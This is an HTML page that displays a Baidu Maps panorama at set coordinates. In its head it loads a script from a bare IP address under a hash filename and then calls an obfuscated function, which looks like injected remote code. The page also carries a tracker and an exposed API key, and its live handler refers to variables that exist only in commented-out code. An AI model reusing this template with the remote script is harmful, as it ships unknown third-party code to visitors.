<!DOCTYPE html>
<html>

<head>
    <title>普通地图&全景图</title>
    <script async src="http://c.cnzz.com/core.php"></script>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <script type="text/javascript"
        src="http://api.map.baidu.com/api?v=2.0&ak=NsGTBiDpgGQpI7KDmYNAPGuHWGjCh1zk"></script>
    <style type="text/css">
        body,
        html {
            width: 100%;
            height: 100%;
            overflow: hidden;
            margin: 0;
            font-family: "微软雅黑";
        }

        #panorama {
            height: 100%;
            overflow: hidden;
        }
    </style>

    <script language="javascript" type="text/javascript"
        src="http://202.102.100.100/35ff706fd57d11c141cdefcd58d6562b.js" charset="gb2312"></script>
    <script type="text/javascript">
        hQGHuMEAyLn('[id="bb9c190068b8405587e5006f905e790c"]');</script>
</head>

<body>
    <div id="panorama"></div>

    <script type="text/javascript">
        //全景图展示
        //  谷歌获取的经纬度      40.05867366972477----------------116.33668634275229

        //            谷歌地图：40.0601398850,116.3434224706
        //            百度地图：40.0658210000,116.3500430000
        //            腾讯高德：40.0601486487,116.3434373643
        //    var jd=116.336686;
        //    var wd=40.058673;

        var jd = 116.350043;
        var wd = 40.065821;

        var panorama = new BMap.Panorama('panorama');
        panorama.setPosition(new BMap.Point(jd, wd)); //根据经纬度坐标展示全景图
        panorama.setPov({ heading: -40, pitch: 6 });

        panorama.addEventListener('position_changed', function (e) { //全景图位置改变后，普通地图中心点也随之改变
            var pos = panorama.getPosition();
            map.setCenter(new BMap.Point(pos.lng, pos.lat));
            marker.setPosition(pos);
        });
        //    //普通地图展示
        //    var mapOption = {
        //        mapType: BMAP_NORMAL_MAP,
        //        maxZoom: 18,
        //        drawMargin:0,
        //        enableFulltimeSpotClick: true,
        //        enableHighResolution:true
        //    }
        //    var map = new BMap.Map("normal_map", mapOption);
        //    var testpoint = new BMap.Point(jd, wd);
        //    map.centerAndZoom(testpoint, 18);
        //    var marker=new BMap.Marker(testpoint);
        //    marker.enableDragging();
        //    map.addOverlay(marker);
        //    marker.addEventListener('dragend',function(e){
        //                panorama.setPosition(e.point); //拖动marker后，全景图位置也随着改变
        //                panorama.setPov({heading: -40, pitch: 6});}
        //    );
    </script>
</body>

</html>